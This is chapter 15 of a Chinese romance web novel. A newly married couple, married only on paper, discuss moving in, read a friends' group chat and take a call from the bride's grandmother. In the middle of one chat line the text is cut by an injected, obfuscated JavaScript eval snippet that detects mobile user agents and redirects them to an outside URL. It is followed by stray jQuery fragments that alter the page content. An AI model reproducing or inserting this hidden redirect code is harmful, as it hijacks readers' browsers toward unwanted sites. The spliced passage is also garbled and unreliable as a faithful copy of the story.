-15-


    没计划心血来潮说做就做的弊端就此显现。


    领证倒是轻松,两张身份证,填个表格就完事,但冲动领完证后,于岭才发现还有一箩筐事情等待她处理。


    回程路上,红彤彤两张结婚证交叠摆放两人正中央,于岭靠在副驾,眉心紧皱,垫着文件垂头写便签,笔尖唰唰挪动。


    路遇红灯堵车,周惟西熄停车辆,探头过来:“这什么。”


    于岭以为他问文件:“最近接的案子,安家科技智能管家失职案。”


    “没说这个。”周惟西点点便签纸,连带标点符号一同,毫无感情念出内容,“一,顿号,通知医院、冉冉及公司,取消手术和年假,句号。二,顿号,通知双方家长,括号,身孕,句号…遮什么?”


    念着念着,便签纸忽地被白皙葱指一挡,他颇为不满,“我是你老公我不能看?”


    “……”


    于岭也不知自己遮挡缘由,只是下意识就这样做了。


    她正色纠正,“是形式丈夫,我们是假的,生下孩子就离婚。”


    “…说多少遍了都,谁多愿意跟你真结婚?”周惟西啧声,伸手扯过她纸笔,“既然是合作关系,那我加几条可以吧?”


    诶——


    于岭又下意识伸手,顿了顿,还是收回:“行吧,那你加吧。”想起什么,强调,“不能太过分。”


    周惟西哂声,朝便签上大笔挥去,几乎不带犹豫:


    3.搬家


    4.婚礼


    5.履行夫妻义务


    6——


    “唰——”


    6没能写出来,笔尖在纸上拖曳一道划痕,便签又重回于岭手上。


    “干什么?我还没写完。”周惟西睨她。


    “说了不能太过分。”


    “哪里过分了?”


    于岭没说话,直视前方。


    周惟西眉尾轻扬,指尖点在“5.履行夫妻义务”上:“你不会是说这条吧?”


    于岭依旧不言语。


    默认。


    “对外扮演好夫妻角色,按期行孝,共同抚养孩子…这很过分吗?”周惟西一本正经,而后又像是才反应过来,轻“啊”一声,“还是说你想的是,”他刻意停顿,声量压低,“另一种夫妻义务?”


    “……”


    “倒也不是不行。”周惟西眯眼思忖,“但目前吧,最后进去那一步就…”


    “绿灯,开车。”前方车辆缓慢挪动,于岭下巴朝前示意,及时打断他。


    周惟西轻哼,启动车辆。


    安静须臾,他扯唇出声:“行了,开玩笑的。于女士,你还怀着孩子呢,我不至于那么禽兽。”


    过去四年,没你,不也就这样过来了。


    于岭是不信他这句话的。


    恋爱时多少次她以工作疲惫,实在没精力想早点睡为由推拒这事,他哪次不是表面答应得好好的,甚至有时候他为表诚意,都主动在二人之中画上三八线,大言不惭表示他绝对一整晚分毫不跨越,结果最后她还不是半梦半醒间被他摁在身下,水汗淋漓,喘息交织。


    不过当时的周惟西18到20岁,正值青年人欲望最鼎盛时期,于岭属实招架不住也是正常。


    就是不知道现在24岁的周惟西是否还是如此。


    于岭并非多保守之人,也承认自己拥有正常人的欲望。即使是形式婚姻,若真到情非得已之处,她也并没自信自己能完全抗拒此事。


    因此,从另一种角度讲,她此时的身孕还算是为她免去一些不必要的麻烦。


    于岭说:“你最好是。”


    “那不然你帮我开手动档?”


    “……”


    反应两秒,于岭毫不客气翻他个大白眼。


    周惟西笑起来,倒是对刚才的话题点到即止:“前两条没问题吧?”


    于岭看向便签纸上的“婚礼”和“搬家”,想了想,若是要应付长辈,这些确实可能没法忽略:“嗯,一切从简吧,你别搞太复杂了,没必要。”


    “本来也没想多认真好吧。”周惟西啧声,“我一会儿送你回去收拾行李,你今晚就搬过来。”


    于岭:“我今晚要回趟老宅看看奶奶,搬家的事后面再说吧。”


    “那就明天。”


    “…不用那么急吧?”于岭有些诧异。


    “你以为我想急?”周惟西散漫道,“结婚了不同居,你是想让别人误会我有什么问题?反正明天你不搬过来,明晚我就搬过去,我无所谓的,你选。”


    “…那就后天。”以周惟西性格,他是真能做出来这种事,于岭早该知道自己拗不过这人,“明天我回去收拾,后天我收假,下班我搬过去。”


    “行,后天我去接你。”


    于岭嗯声,又想起什么:“对了,我现在租在锦恒附近的小区,我把地址发你…”她点出手机,后知后觉意识到一件事,“加个微信?”


    周惟西却一时沉默。


    以为他不情愿,于岭改口道:“那我短信发你。”


    “不是…”周惟西终于开口。


    “什么不是?”于岭从手机上抬起头。


    “微信,”周惟西说,“我没删过你。”


    “……”


    “那次来老宅找你,我也是先给你发的微信,没发过来,才发的短信。”他平铺直叙道,“我从来没删过你。”


    于岭怔忪。


    好半饷,她才“哦”了声,一时不知如何应对,声音有点干巴:“当时我们不是分手了么,我就删了…现在加回来吧。”


    周惟西薄唇抿住,直接掏出手机扔给她。


    “密码1010。”


    “…哦。”


    于岭解锁,刚好是他微信界面。


    她下意识撇头避开,径直点击扫码,按部就班添加完,发过去地址后,将手机递还给他:“地址发你了。”


    周惟西没接:“你再帮我给秦闻他们那群聊里发条信息,就说今晚那局我不去了。”


    于岭只好拿回他手机,这下无可避免看到聊天列表。晃一眼,基本是工作群、游戏组队消息以及好友吹水群,还都被他设置免打扰。


    添加好友界面倒是有几个女性头像,但他都没通过,也没搭理。


    抬眼目光与周惟西撞上,她莫名别扭,下意识道:“真要我发?不怕我看到你聊天记录?”


    周惟西嗤笑:“看呗,就跟你以前没看过似的。”


    确实,以前周惟西手机向来明晃晃摆沙发上,她想查便查,密码也一直都是他随手设置的1010没变过,在她面前毫无保留。


    于岭问:“哪个群聊?”


    周惟西瞥眼,指尖一点:“呐,这个。”


    于岭看过去,点开群聊[周少吃肉我喝汤]。


    这名字一看就是周惟西高中玩得好的那帮狐朋狗友,天天就惯爱吹捧他,他现在这种眼睛长到头顶上的性格少不了这几人推波助澜。


    目光可及的最新聊天记录在几天前。


    她本无意窥探周惟西隐私,但视线一晃,看到他们提到“锦恒”二字,忽然好奇心上涌。


    “那我真看了?”


    “随便,反正都是骂你的。”


    “……”


    既然他不介意,她也就正大光明翻看起来。


    发言的是“青蛙”,应该就是秦闻。


    前几天,他看样子是刚休完假回去上班,牛马怨气味冲天:[真特么晦气,上班第一天就接手个关系户的单子]


    国服林教头:[详谈]


    于岭听冉珺聊过,秦闻目前在一家科技资讯公司当顾问,说直白点就是负责牵线的中介,根据客户需求匹配行业专家和管理项目。


    青蛙:[一个老总的儿子带着个女律师,一进来就在那指手画脚,说要我给他们找个AI行业顶尖高手,立刻,马上…我寻思这么大的架子怎么一点官也没有,周书记都没他们会摆阔[白眼]]


    最残大脑:[?]


    最残大脑:[你不要命了,你把我们周书记跟这些人比]


    秦闻也反应过来,连忙致歉:[对对,话赶话了,周少别介意]


    青蛙:[对了,这律师好像还是锦恒的,跟嫂子一个地儿,叫王雅洁。@WISH,你认识不?]


    WISH:[啥玩意儿]


    爱因斯瘫:[青蛙你这…你这不是往周少伤口上撒盐?]


    大郭工酱:[对啊,周少现在连嫂子都不认识了,去哪儿认识嫂子同事?]


    国服林教头:[莫再提!莫再提啊!]


    爱因斯瘫:[哎]


    最残大脑:[哎]


    国服林教头:[哎]


    大郭工酱:[哎!!!]


    WISH:[?]


    青蛙:[好好好,我的锅]


    青蛙:[我这不是看到锦恒就想起嫂子了么]


    青蛙:[怎么样,周少,你不正好就是AI领域的,要不兄弟把这单给你]


    WISH:[我]


    WISH:[你请得起?]


    青蛙:[……]


    青蛙:[这不是给您老牵线搭桥]


    WISH:[用得着么]


    青蛙:[我可是听说嫂子最近相亲呢,说不定马上就定下来结婚了]


    国服林教头:[真的假的,这么劲爆?!]


    国服林教头:[@WISH,别担心周少,到时候兄弟去吃酒席,必定记着给你打包盒喜糖回来]


    爱因斯瘫:[对方干啥的]


    青蛙:[好像是个老师]


    大郭工酱:[我怎么听说是个医生呢]


    最残大脑:[…我听说的是飞行员]


    国服林教头:[……]


    国服林教头:[嫂子这是相了多少…]


    周惟西没再说话,群里也就进入其他话题,直到几小时后。


    周惟西引用国服林教头那句打包喜糖:[你要能收到请帖再说]


    群里话题瞬间拉回来,国服林教头:[也是,我们前男友亲友团应该只能参与抢婚]


    WISH:[……]


    青蛙:[毫无波动?]


    WISH:[她爱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336220|198811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结结,干我屁事]


    青蛙:[我怎么那么不信呢]


    周惟西没再回复,那天群聊消息到此为止,直到今晚几人在群里艾特周惟西,应该是组了局,问他怎么还没到。


    于岭恍惚半饷,收回思绪,按他说辞发送消息,将手机还给他。


    犹豫片刻,她觉得自己还是有必要解释一二:“到年纪了,身边领导或长辈都比较热情,相亲确实没法拒绝。”


    周惟西微顿,车辆速度明显降下来:“谁问了?”


    没人问,但于岭还是继续道:“不过最近见的就只有三个,一个高校老师,一个是外科医生,还有一个跟你一样是工程师,没相过飞行员。”


    这是重点?


    “啊…”周惟西指节散漫点着方向盘,拖着调子,“我还得表扬你是吧?才同时相了三个,真是很为我女儿着想呢…所以有为我女儿筛选到合适的父亲吗?”


    “你少在那夹枪带棒。”于岭被他话里话外的讽刺意味刺得皱眉,“我本意是觉得既然合作结婚,这些事情确实需要跟你交代清楚,以免误会…你难道没有过?”


    “没。”他立刻道。


    “…怎么可能?”于岭一愣,“没人给你介绍?”


    世俗意义上来讲,周惟西几乎是个满分男人,不俗家世,学历样貌工作等都样样拔尖,怎么可能没人给他介绍?


    更况且,明明他也是对结婚有需求才会跟她…


    “为什么不可能?想拒绝就拒绝了。”周惟西语气平淡,“在你之前,我没想过结婚。”


    “……”


    于岭手撑额角目转窗外,心湖微动,泛起细小涟漪,嘴上仍说:“这种话你以后骗骗小姑娘得了,我都多少岁了,你没必要跟我来这套,更何况我们现在这关系…”


    周惟西目视前方,像没听到。


    车辆转过路口,转向灯滴哒滴哒声音消失,他才边看后视镜边开口,语气随意:“我们这关系怎么了?都有孩子了不该结婚?”


    一瞬间,涟漪消逝,归于平静。


    于岭莫名想起刚在聊天记录里看到的那句:[她爱结结,干我屁事]


    也是。


    是因为孩子。


    “这三个相亲对象都只是应付一下了事,没打算认真,他们什么名字我都记不住。”于岭说,“你大可不必担心,这点合作精神我还是有的。”


    周惟西眉尾微扬:“哦,我能信你吗?”


    “……”于岭抿直唇角,“爱信不信。”


    周惟西轻笑一声。


    “你——”


    这时,一个电话进来,唐慧打来的,应该是问她怎么这么晚还没到家。


    于岭只得暂时停住话头,清清喉咙,调整表情,笑着接起电话:“奶奶~您怎么还没睡呀?”


    声线简直是360度大转变,周惟西扯唇,根本不掩鄙夷眼神。


    于岭视若无睹,继续打电话:“哦我呀?我还有——”她看向周惟西。


    周惟西给她比了个数字二。


    于岭会意:“我还有大概二十分钟到家。您别等我呀,您先睡呢,我吃过饭了。对,晚上临时有点事,不是,不是工作上的事,是——”


    她再次看向周惟西。


    对方耸耸肩,表示无所谓。


    于岭深吸口气,下定决心:“奶奶,您最近几天有空吗?我…”她顿了顿,“我带个人回来见见您。”


    周惟西缓慢踩刹车。


    “嗯…就是,对,是您想的那样…”于岭面庞浮现赧意,浑身不太自在,平时老将周惟西全名挂在嘴边,这会儿当他面打电话,却莫名念不出他名字,只好道,“谁呀…就是上次跟您聊天时聊起过的那个…”


    聊过他?


    周惟西眸光微动。


    早聊过他啊。


    周惟西将车停在路边,解开安全带,扭头示意于岭——他要跟奶奶打个招呼。


    于岭瞳孔瞪大,下意识要摆手,他干脆倾身而上,唇附她耳边,冲着手机:“奶奶!”


    于岭:!


    于岭登时头疼,只好对电话那头道:“对,奶奶,他就在我旁边,我让他先跟您打个招呼吧。”


    于岭把手机拿下,开免提,放大音量,口型警告他:[别、乱、说、话]


    周惟西混不在意“哦”了声,坐姿放松,手肘懒散搭在副驾头枕,唇角拉开,刚要开口。


    “你是小任任医生吧?”


    周惟西:…?


    唐慧中气十足的笑声从手机里传出,顿时挤满整个不算宽阔的车厢内。


    “哎哟,老听小鱼提起你,就知道你们能成…”


    周惟西神色逐渐滞闷,看向于岭,一言不发。


    于岭:“……”


    电话里唐慧的笑声还在继续:“上次医院碰到你就说让你来家里吃饭,你看这一拖都要11月了…”


    意识到氛围不对,于岭迅速跟唐慧扯个借口挂掉电话,正斟酌着想开口。


    周惟西扭回头,拒绝交流的姿态很明显。


    他唰一下系上安全带,车辆轰一声启动,疾速冲上公路。